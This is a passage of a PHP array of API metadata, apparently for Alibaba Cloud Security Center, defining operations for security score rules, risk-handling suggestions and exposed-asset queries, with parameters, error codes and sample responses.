governance.'."\n" .'* **SS_SAS_RESPOND**: security response.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SS_SAS_HANDLE', ], 'ScoreThreshold' => [ 'description' => 'The threshold of deduction for the security score rule type.'."\n" ."\n" .'> Valid values: 0 to 100. The sum of the deduction thresholds for all deduction modules must be equal to 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], 'SecurityRuleList' => [ 'description' => 'The deduction items of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The data of the security score rule type.'."\n", 'type' => 'object', 'properties' => [ 'RuleType' => [ 'description' => 'The deducted module that is supported by the security score feature. The type of the sub-deduction item. Valid values:'."\n" ."\n" .'* **SS_SAS_WEAK_PW**: unhandled weak password risk.'."\n" .'* **SS_SAS_ALARM**: unhandled alert in Security Center.'."\n" .'* **SS_SAS_EMG_VUL**: unfixed urgent vulnerability.'."\n" .'* **SS_SAS_APP_VUL**: unfixed application vulnerability.'."\n" .'* **SS_SAS_SYS_VUL**: unfixed system vulnerability.'."\n" .'* **SS_SAS_CLOUD_HC**: unhandled cloud security posture management (CSPM) risk.'."\n" .'* **SS_SDDP_DATA_RISK**: unhandled data security risk.'."\n" .'* **SS_WAF_API_RISK**: unhandled API security risk.'."\n" .'* **SS_DDOS_BH_ASSET**: asset on which blackhole filtering is triggered.'."\n" .'* **SS_SAS_AK_LEAK**: unhandled AK/SK leak event.'."\n" .'* **SS_PRODUCT_CONNECT**: security service not integrated.'."\n" .'* **SS_KEY_CONFIG**: key feature configuration.'."\n" .'* **SS_PRODUCT_EXPIRE**: service that is about to expire.'."\n" .'* **SS_AI_RISK**: AI application risk.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SS_REINFORCE', ], 'Score' => [ 'description' => 'The threshold of deduction for the security score rule type.'."\n" ."\n" .'> Valid values: 0 to the deduction threshold of the deduction module.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], 'SecurityScoreItemList' => [ 'description' => 'The sub-deduction items of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The sub-deduction item of the security score rule.'."\n", 'type' => 'object', 'properties' => [ 'SubRuleType' => [ 'description' => 'The sub-deduction item of the security score rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SSI_KEY_CONFIG', ], 'Score' => [ 'description' => 'The penalty point of the deduction item.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], 'ScoreThreshold' => [ 'description' => 'The threshold for the deduction item.'."\n" ."\n" .'> Valid values: 0 to the deduction threshold of the deduction module.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 10, ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], 'required' => false, ], 'required' => false, 'maxItems' => 5, ], ], [ 'name' => 'ResetSecurityScoreRule', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to reset to the system default rule. Valid values:'."\n" ."\n" .'* true: yes'."\n" .'* false: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'CalType', 'in' => 'query', 'schema' => [ 'description' => 'The old or new version of the security score rule. If you set this parameter to **home_security_score**, the new version of the security score rule is changed. Otherwise, the old version of the security score rule is changed by default.'."\n", 'type' => 'string', 'required' => false, 'example' => 'home_security_score', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '23AD0BD2-8771-5647-819E-6BA51E21****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E21****\\"\\n}","type":"json"}]', 'title' => 'ChangeSecurityScoreRule', ], 'DescribeSecureSuggestion' => [ 'summary' => 'Query Security Risk Handling Suggestions Details', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92188', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address of the access source.', 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for request and response messages, default is **zh**. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CalType', 'in' => 'query', 'schema' => [ 'description' => 'Choose to query the new or old version of the security score rules. When the value is **home_security_score**, it queries the new version of the security score rules; otherwise, it defaults to querying the old version of the security score rules.', 'type' => 'string', 'required' => false, 'example' => 'home_security_score', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'Source of the security score. If left empty, it defaults to Cloud Security Center. Enumerated values:'."\n" ."\n" .'- 0: Cloud Security Center.'."\n" ."\n" .'- 1: Yaochi Console.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'Resource directory member account ID (Alibaba Cloud account).'."\n" .'> You can obtain this parameter by calling the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) API.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for this request, and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '676F80E3-4B3F-43DA-9CBB-5FF79F202AA2', ], 'TotalCount' => [ 'description' => 'The total number of security risks that need to be reinforced.', 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'Score' => [ 'description' => 'Security score.', 'type' => 'string', 'example' => '95', ], 'CalTime' => [ 'description' => 'Timestamp of the security score calculation.', 'type' => 'integer', 'format' => 'int64', 'example' => '1755744253000', ], 'Suggestions' => [ 'description' => 'List of security risk handling suggestions.', 'type' => 'array', 'items' => [ 'description' => 'List of security risk handling suggestions.', 'type' => 'object', 'properties' => [ 'Points' => [ 'description' => 'Deduction value for a single deduction item.', 'type' => 'integer', 'format' => 'int32', 'example' => '40', ], 'SuggestType' => [ 'description' => 'Type of the pending security risk. Values:'."\n" .'- **SS_REINFORCE**: Key features not configured (e.g., malicious host behavior defense)'."\n" .'- **SS_ALARM**: Pending alerts'."\n" .'- **SS_VUL**: Vulnerabilities to be fixed'."\n" .'- **SS_HC**: Baseline issues'."\n" .'- **SS_AK**: AK leakage issues '."\n" .'- **SS\\_CLOUD_HC**: Cloud platform configuration risks'."\n" .'- **OTHER**: Other', 'type' => 'string', 'example' => 'SS_ALARM', ], 'Detail' => [ 'description' => 'Details of the security risk handling suggestions.', 'type' => 'array', 'items' => [ 'description' => 'Details of the security risk handling suggestions.', 'type' => 'object', 'properties' => [ 'Title' => [ 'description' => 'Name of the pending security risk item.', 'type' => 'string', 'example' => 'Website tamper-proofing capability not configured', ], 'Description' => [ 'description' => 'Description of the security risk handling suggestion.', 'type' => 'string', 'example' => 'Malicious tampering of Web pages will affect your normal access to web page content, and may also lead to serious economic losses, brand losses, and even political risks. The webpage tamper-proof service can monitor the website directory in real time and restore the tampered files or directories through backup, so as to ensure that the website information of important systems is not tampered with maliciously and prevent the occurrence of horse hanging, black chain, illegal implantation of terrorist threats, pornography and other content.', ], 'SubType' => [ 'description' => 'Types of pending security risks. The values include:'."\n" .'- **ALARM_HIGH**: Unhandled high-risk alert events'."\n" .'- **ALARM_MEDIUM**: Unhandled medium-risk alert events'."\n" .'- **ALARM_LOW**: Unhandled low-risk alert events'."\n" .'- **VUL_EMR_UNCHECK**: Unchecked urgent vulnerabilities'."\n" .'- **VUL_EMR_UNFIX**: Unfixed urgent vulnerabilities'."\n" .'- **VUL_WIN**: Unfixed Windows server vulnerabilities'."\n" .'- **VUL_LINUX**: Unfixed Linux server vulnerabilities'."\n" .'- **VUL_CMS**: Unfixed CMS vulnerabilities'."\n" .'- **ACCESSKEY_LEAK**: AccessKey leakage risks'."\n" .'- **HC_WARN**: Baseline risks'."\n" .'- **HC_WEAK_EXPLOIT_WARN**: Risks of weak passwords exposed by the public network'."\n" .'- **HC_WEAK_PASSWORD_WARN**: Risk of weak password'."\n" .'- **HC_HIGH_EXPLOIT_WARN**: High risk of being invaded'."\n" .'- **HC_OTHER_WARN**: Security configuration risks'."\n" .'- **HC_DATABASE_WARN**: Database has security risks'."\n" .'- **CLOUD_HC_SAS_OPEN**: Security protection not installed on the server'."\n" .'- **CLOUD_HC_AEGIS_OFFLINE**: Server protection status is offline'."\n" .'- **CLOUD_HC_ACCOUNT_DOUBLE_CHECK**: Two-Factor Authentication not enabled for primary account'."\n" .'- **CLOUD_HC_RDS**: RDS database security policy check failed, posing security risks'."\n" .'- **CLOUD_HC_DDOS**: Risks in Anti-DDoS Pro back-to-origin settings'."\n" .'- **CLOUD_HC_HIGH_LEVEL**: Cloud product configuration with high risk'."\n" .'- **CLOUD_HC_OTHER_LEVEL**: Cloud product configuration with medium and low risks'."\n" .'- **OTHER_ATTACH**: Attack incidents'."\n" .'- **OTHER_DATABASE_ATTACH**: Database has security risks'."\n" .'- **REINFORCE_BASELINE**: Config assessment'."\n" .'- **REINFORCE_SUSPICIOUS**: Antivirus'."\n" .'- **REINFORCE_ANALYSIS**: Log analysis'."\n" .'- **REINFORCE_AK_LEAK**: AccessKey leaked intelligence detection'."\n" .'- **REINFORCE_WEB_LOCK**: Website tamper-proofing capability not configured'."\n" .'- **REINFORCE_BRUTE_FORCE**: Anti-brute force cracking'."\n" .'- **REINFORCE_XPRESS_INSTALL**: One-click client installation'."\n" .'- **REINFORCE_RANSOMWARE**: Enable anti-ransomware strategy'."\n" .'- **REINFORCE_UNI_RANSOMWARE**: Anti-ransomware for databases'."\n" .'- **REINFORCE_VIRUS_SCHEDULE_SCAN**: Periodic virus scan policies not configured'."\n" .'- **REINFORCE_IMAGE_REPO_SCAN**: No container image scan range configured'."\n" .'- **REINFORCE_IMAGE_SCAN_TASK**: Image security scan'."\n" .'- **REINFORCE_K8S_LOG_ANALYSIS**: Container K8s threat detection is disabled'."\n" .'- **REINFORCE_CONTAINER_NETWORK**: Container visualization', 'type' => 'string', 'example' => 'REINFORCE_WEB_LOCK', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"676F80E3-4B3F-43DA-9CBB-5FF79F202AA2\\",\\n \\"TotalCount\\": 15,\\n \\"Score\\": \\"95\\",\\n \\"CalTime\\": 1755744253000,\\n \\"Suggestions\\": [\\n {\\n \\"Points\\": 40,\\n \\"SuggestType\\": \\"SS_ALARM\\",\\n \\"Detail\\": [\\n {\\n \\"Title\\": \\"Website tamper-proofing capability not configured\\",\\n \\"Description\\": \\"Malicious tampering of Web pages will affect your normal access to web page content, and may also lead to serious economic losses, brand losses, and even political risks. The webpage tamper-proof service can monitor the website directory in real time and restore the tampered files or directories through backup, so as to ensure that the website information of important systems is not tampered with maliciously and prevent the occurrence of horse hanging, black chain, illegal implantation of terrorist threats, pornography and other content.\\",\\n \\"SubType\\": \\"REINFORCE_WEB_LOCK\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 40\\n SS_ALARM\\n \\n 您有6,160条安全告警，影响39台资产\\n ALARM_HIGH\\n 存在未处理的高危告警事件\\n \\n \\n 您有88条安全告警，影响25台资产\\n ALARM_MEDIUM\\n 存在未处理的中危告警事件\\n \\n \\n 您有1条安全告警，影响1台资产\\n ALARM_LOW\\n 存在未处理的低危告警事件\\n \\n \\n \\n 12\\n SS_VUL\\n \\n 您有34条漏洞，影响19台服务器\\n VUL_WIN\\n 存在未修复的Windows主机漏洞\\n \\n \\n 您有448条漏洞，影响68台服务器\\n VUL_LINUX\\n 存在未修复的Linux主机漏洞\\n \\n \\n 存在11个未检测的应急漏洞\\n VUL_EMR_UNCHECK\\n 存在未检测的应急漏洞\\n \\n \\n 存在1个未修复的应急漏洞\\n VUL_EMR_UNFIX\\n 存在未修复的应急漏洞\\n \\n \\n \\n 20\\n SS_HC\\n \\n 您有 17 台互联网可访问的服务器存在弱口令，可能已被黑客入侵，建议尽快加强密码强度\\n HC_WEAK_EXPLOIT_WARN\\n 存在公网暴露的弱口令风险\\n \\n \\n 您有 18 台服务器存在弱口令，建议尽快更换密码，同时加强密码强度\\n HC_WEAK_PASSWORD_WARN\\n 存在弱口令风险\\n \\n \\n 您有 105 台服务器存在安全合规配置风险，建议根据加固建议和业务需求进行修复加固\\n HC_OTHER_WARN\\n 存在安全配置风险\\n \\n \\n \\n 30\\n SS_AK\\n \\n 存在1个AK泄漏\\n ACCESSKEY_LEAK\\n 存在AK泄漏风险\\n \\n \\n \\n 28\\n SS_CLOUD_HC\\n \\n \\n CLOUD_HC_ACCOUNT_DOUBLE_CHECK\\n 主账号未开启双因素认证，账号存在安全风险\\n \\n \\n 存在5个高风险云产品配置检查项\\n CLOUD_HC_HIGH_LEVEL\\n 云产品配置存在高危风险\\n \\n \\n 存在16个中低危风险云产品配置检查项\\n CLOUD_HC_OTHER_LEVEL\\n 云产品配置存在中低危风险\\n \\n \\n \\n 5\\n OTHER\\n \\n 您有3,387次网络攻击\\n OTHER_ATTACH\\n 存在攻击事件\\n \\n \\n 15\\n 676F80E3-4B3F-43DA-9CBB-5FF79F202AA2\\n","errorExample":""}]', 'title' => 'Query Security Risk Handling Suggestions Details', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribeExposedInstanceCriteria' => [ 'summary' => 'Queries the search conditions that are used to search for exposed assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92075', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The value of the search condition. Fuzzy match is supported.'."\n" ."\n" .'> You can specify the name, ID, public IP address, private IP address, component, port, or IP address of an exposed asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'id', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the account ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6D9CDB47-6191-4415-BE63-7E8B12CD4FBE', ], 'CriteriaList' => [ 'description' => 'The search conditions that are used to search for exposed assets.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: You must configure the search condition.'."\n" .'* **select**: You must select a search condition from the **Values** list.'."\n", 'type' => 'string', 'example' => 'select', ], 'Name' => [ 'description' => 'The name of the search condition.'."\n", 'type' => 'string', 'example' => 'instanceId', ], 'Values' => [ 'description' => 'The value of the search condition. This parameter is returned only when the value of the **Type** parameter is **select**.'."\n" ."\n" .'> If the value of the **Type** parameter is **input**, this parameter is empty.'."\n", 'type' => 'string', 'example' => 'i-bp19r0fdd39idxhf****', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6D9CDB47-6191-4415-BE63-7E8B12CD4FBE\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"instanceId\\",\\n \\"Values\\": \\"i-bp19r0fdd39idxhf****\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n input\\n \\n exposureIp\\n \\n \\n input\\n \\n exposurePort\\n \\n \\n input\\n \\n exposureComponent\\n \\n \\n input\\n \\n instanceName\\n \\n \\n input\\n \\n instanceId\\n \\n 6D9CDB47-6191-4415-BE63-7E8B12CD4FBE\\n","errorExample":""}]', 'title' => 'DescribeExposedInstanceCriteria', 'extraInfo' => ' ', ], 'DescribeExposedInstanceDetail' => [ 'summary' => 'Queries the details of a specified server that is exposed on the Internet.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92076', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server or the instance ID of the database that is exposed on the Internet.'."\n" ."\n" .'> You can call the [DescribeExposedInstanceList](~~DescribeExposedInstanceList~~) operation to query the UUIDs of servers or instance IDs of databases.'."\n", 'type' => 'string', 'required' => true, 'example' => 'fc82b966-4d70-4e01-bf4f-aa4076a5****', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the account ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C590482B-54A7-4273-8115-9DBE2DE46B26', ], 'ExposedChains' => [ 'description' => 'The list of exposure details of the server or database.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The exposure details about the server or database.'."\n", 'type' => 'object', 'properties' => [ 'ExposureIp' => [ 'description' => 'The IP address of the server or the public endpoint of the database.'."\n", 'type' => 'string', 'example' => '47.99.XX.XX', ], 'GroupNo' => [ 'description' => 'The server group to which the server belongs.'."\n", 'type' => 'string', 'example' => 'sg-bp1iw5enua6gf5i2xr7z', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '47.99.XX.XX', ], 'InstanceId' => [ 'description' => 'The instance ID.'."\n", 'type' => 'string', 'example' => 'i-bp116qem8npvchqc****', ], 'ExposureType' => [ 'description' => 'The resource from which the server or database is exposed. Valid values:'."\n" ."\n" .'* **INTERNET_IP**: the public IP address of an Elastic Compute Service (ECS) instance.'."\n" .'* **SLB**: the public IP address of a Server Load Balancer (SLB) instance.'."\n" .'* **EIP**: an elastic IP address (EIP).'."\n" .'* **DNAT**: the Network Address Translation (NAT) gateway that connects to the Internet by using the Destination Network Address Translation (DNAT) feature'."\n" .'* **DB_CONNECTION**: the public endpoint of a database.'."\n", 'type' => 'string', 'example' => 'INTERNET_IP', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'ExposureTypeId' => [ 'description' => 'The ID of the instance to which the resource belongs. The valid values of this parameter vary based on the value of the ExposureType parameter.'."\n" ."\n" .'* If the value of the ExposureType parameter is **INTERNET_IP**, this parameter is empty.'."\n" .'* If the value of the ExposureType parameter is **SLB**, the value of this parameter is the ID of the SLB instance.'."\n" .'* If the value of the ExposureType parameter is **EIP**, the value of this parameter is the ID of the EIP.'."\n" .'* If the value of the ExposureType parameter is **DNAT**, the value of this parameter is the ID of the NAT gateway.'."\n" .'* If the value of the ExposureType parameter is **DB_CONNECTION**, the value of this parameter is the ID of the database.'."\n", 'type' => 'string', 'example' => 'eip-bp1bkgowzam49rld3****', ], 'RegionId' => [ 'description' => 'The region ID.'."\n" ."\n" .'> For information about the mapping between region IDs and region names, see [Regions and zones](~~40654~~).'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Uuid' => [ 'description' => 'The UUID of the server or the instance ID of the database.'."\n", 'type' => 'string', 'example' => '4f9ce097-4a7d-48fe-baef-6960e5b6****', ], 'ExposurePort' => [ 'description' => 'The port that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => '22', ], 'InstanceName' => [ 'description' => 'The instance name.'."\n", 'type' => 'string', 'example' => 'worker-k8s-for-cs-c929ee2a145214f89a8b248005be5****', ], 'ExposureComponent' => [ 'description' => 'The server component that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => 'openssl,openssh', ], 'RealVulList' => [ 'description' => 'The information about the vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerabilities'."\n" .'* **sys**: Windows system vulnerabilities'."\n" .'* **cms**: Web-CMS vulnerabilities'."\n" .'* **app**: application vulnerabilities'."\n" .'* **emg**: urgent vulnerabilities'."\n" .'* **sca**: middleware vulnerabilities'."\n", 'type' => 'string', 'example' => 'sca', ], 'Necessity' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n" ."\n" .'> We recommend that you fix the vulnerabilities that have the **high** priority at the earliest opportunity.'."\n", 'type' => 'string', 'example' => 'asap', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '4f9ce097-4a7d-48fe-baef-6960e5b6****', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'SCA:ACSV-2020-052801', ], ], ], ], 'AllVulList' => [ 'description' => 'The information about all vulnerabilities on the server.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerabilities'."\n" .'* **sys**: Windows system vulnerabilities'."\n" .'* **cms**: Web-CMS vulnerabilities'."\n" .'* **app**: application vulnerabilities'."\n" .'* **emg**: urgent vulnerabilities'."\n" .'* **sca**: middleware vulnerabilities'."\n", 'type' => 'string', 'example' => 'sca', ], 'Necessity' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n" ."\n" .'> We recommend that you fix the vulnerabilities that have the **high** priority at the earliest opportunity.'."\n", 'type' => 'string', 'example' => 'asap', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '4f9ce097-4a7d-48fe-baef-6960e5b6****', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'SCA:ACSV-2020-052801', ], ], ], ], 'CspmRiskList' => [ 'description' => 'The list of configuration risks.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'CheckName' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'Create Alert Rule', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **HIGH**'."\n" .'* **MEDIUM**'."\n" .'* **LOW**'."\n", 'type' => 'string', 'example' => 'HIGH', ], 'InstanceId' => [ 'description' => 'The instance ID.'."\n", 'type' => 'string', 'example' => 'i-bp14ggqzi9k6ocfb****', ], 'RegionId' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'AssetType' => [ 'description' => 'The instance type. Valid values:'."\n" ."\n" .'* 0: an ECS instance.'."\n" .'* 3: an ApsaraDB RDS instance.'."\n" .'* 4: an ApsaraDB for MongoDB instance.'."\n" .'* 5: an ApsaraDB for Redis instance.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetTypeName' => [ 'description' => 'The name of the cloud asset type. Valid values:'."\n" ."\n" .'* **ECS**'."\n" .'* **RDS**'."\n" .'* **KVSTORE**'."\n" .'* **MONGODB**'."\n", 'type' => 'string', 'example' => 'ECS', ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS).'."\n" ."\n" .' * **100**: instance.'."\n" ."\n" .'* **3**: ApsaraDB RDS.'."\n" ."\n" .' * **0**: instance.'."\n" ."\n" .'* **4**: ApsaraDB for MongoDB (MongoDB).'."\n" ."\n" .' * **0**: instance.'."\n" ."\n" .'* **5**: ApsaraDB for Redis (Redis).'."\n" ."\n" .' * **0**: instance.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'AssetSubTypeName' => [ 'description' => 'The subtype name of the cloud asset. Valid values:'."\n" ."\n" .'* **INSTANCE**: MongoDB instance, Apsara DB for RDS instance, and ApsaraDB for Redis instance.'."\n" .'* **ECS_INSTANCE**: ECS instance.'."\n", 'type' => 'string', 'example' => 'INSTANCE', ], 'Vendor' => [ 'description' => 'The type of the cloud asset by source. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], 'description' => '', ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"C590482B-54A7-4273-8115-9DBE2DE46B26\\",\\n \\"ExposedChains\\": [\\n {\\n \\"ExposureIp\\": \\"47.99.XX.XX\\",\\n \\"GroupNo\\": \\"test-group****\\",\\n \\"InternetIp\\": \\"47.99.XX.XX\\",\\n \\"InstanceId\\": \\"i-bp116qem8npvchqc****\\",\\n \\"ExposureType\\": \\"INTERNET_IP\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"ExposureTypeId\\": \\"eip-bp1bkgowzam49rld3****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Uuid\\": \\"4f9ce097-4a7d-48fe-baef-6960e5b6****\\",\\n \\"ExposurePort\\": \\"22\\",\\n \\"InstanceName\\": \\"worker-k8s-for-cs-c929ee2a145214f89a8b248005be5****\\",\\n \\"ExposureComponent\\": \\"openssl,openssh\\",\\n \\"RealVulList\\": [\\n {\\n \\"Type\\": \\"sca\\",\\n \\"Necessity\\": \\"asap\\",\\n \\"Uuid\\": \\"4f9ce097-4a7d-48fe-baef-6960e5b6****\\",\\n \\"AliasName\\": \\"RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)\\",\\n \\"Name\\": \\"SCA:ACSV-2020-052801\\"\\n }\\n ],\\n \\"AllVulList\\": [\\n {\\n \\"Type\\": \\"sca\\",\\n \\"Necessity\\": \\"asap\\",\\n \\"Uuid\\": \\"4f9ce097-4a7d-48fe-baef-6960e5b6****\\",\\n 